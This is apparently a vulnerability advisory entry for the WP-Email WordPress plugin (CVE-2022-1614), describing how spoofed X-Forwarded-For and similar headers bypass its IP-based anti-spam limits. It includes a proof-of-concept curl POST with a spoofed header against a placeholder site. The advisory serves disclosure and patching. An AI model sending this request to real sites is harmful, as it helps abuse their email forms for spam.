Lucene search
Daniel RufWPEX-ID:A5940D0B-6B88-4418-87E2-02C0897BC2F1HistoryMay 30, 2022 - 12:00 a.m.
WP-Email < 2.69.0 - Anti-Spam Protection Bypass via IP Spoofing
2022-05-3000:00:00
Daniel Ruf
71
0.001 Low
EPSS
Percentile
33.9%
The plugin prioritizes getting a visitor’s IP from certain HTTP headers over PHP’s REMOTE_ADDR, which makes it possible to bypass IP-based anti-spamming restrictions.
Set HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR or any of the other headers used in get_ipaddress().
curl 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' -X POST -H 'X-Forwarded-For: 127.0.0.1' --data-raw 'action=email&yourname=admin&[email protected]&yourremarks=asdasd&friendname=Igor Popov&[email protected]&imageverify=ME5RJ&p=177&wp-email_nonce=646bfc1f45'Related
wpvulndb
wpvulndb
WP-Email < 2.69.0 - Anti-Spam Protection Bypass via IP Spoofing
2022-05-30 00:00:00
cve
cve
CVE-2022-1614
2022-06-20 11:15:09
nvd
nvd
CVE-2022-1614
2022-06-20 11:15:09
cnvd
cnvd
WordPress plugin WP-EMail has an unspecified vulnerability
2022-06-22 00:00:00
cvelist
cvelist
prion
prion
Design/Logic Flaw
2022-06-20 11:15:00